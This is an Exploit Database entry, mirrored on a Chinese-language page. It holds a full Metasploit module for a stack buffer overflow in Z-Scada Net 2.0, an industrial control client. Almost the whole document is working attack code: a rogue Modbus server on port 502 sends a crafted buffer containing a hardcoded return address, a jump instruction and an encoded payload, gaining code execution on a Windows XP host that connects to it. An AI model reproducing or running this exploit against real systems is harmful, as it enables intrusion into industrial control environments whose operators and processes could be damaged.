ZScada Modbus Buffer 2.0 – Stack Buffer Overflow (Metasploit)

• Exploit Database
• 13 阅读

• 作者： James Fitts
  日期： 2017-09-13
• 类别：

  • remote
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/42691/

• require 'msf/core'
  
  class MetasploitModule < Msf::Exploit::Remote
  	Rank = GreatRanking
  
  	include Msf::Exploit::Remote::TcpServer
  
  	def initialize(info = {})
  		super(update_info(info,
  			'Name' => 'ZScada Net Buffer Overflow',
  			'Description'=> %q{
  				This module exploits a stack based buffer overflow found in
  				Z-Scada Net 2.0.The vulnerability is triggered when parsing
  				the response to a Modbus packet.
  			},
  			'Author' => [ 'james fitts' ],
  			'License'=> MSF_LICENSE,
  			'References' =>
  				[
  					[ 'url', 'https://lists.immunityinc.com/pipermail/canvas/2014-December/000141.html' ],
  				],
  			'Privileged' => false,
  			'DefaultOptions' =>
  				{
  					'EXITFUNC' => 'process',
  				},
  			'Payload'=>
  				{
  					'Space'=> 500,
  					'BadChars' => "",
  					'StackAdjustment' => -3500
  				},
  			'Platform' => 'win',
  			'Targets'=>
  				[
  					[
  						'Windows XP SP3 EN', 
  							{
  								# zscadanet.exe v1.0
  								# pop ecx/ pop ebp/ retn
  								'Ret' => 0x00429c35
  							} 
  					],
  				],
  			'DefaultTarget' => 0,
  			'DisclosureDate' => 'Dec 11 2014'))
  
  		register_options(
  			[
  				OptPort.new('SRVPORT', [ true, "The port to listen on", 502])
  			], self.class)
  	end
  
  	def on_client_data(client)
  		p = payload.encoded
  
  		buf = pattern_create(5000)
  		buf[574, 4] = [0x909006eb].pack('V')	# jmp $+8
  		buf[578, 4] = [target.ret].pack('V')
  		buf[582, 24] = "\x41" * 24
  		buf[606, p.length] = p
  
  		client.put(buf)
  		handler
  		service.close_client(client)
  	end
  
  end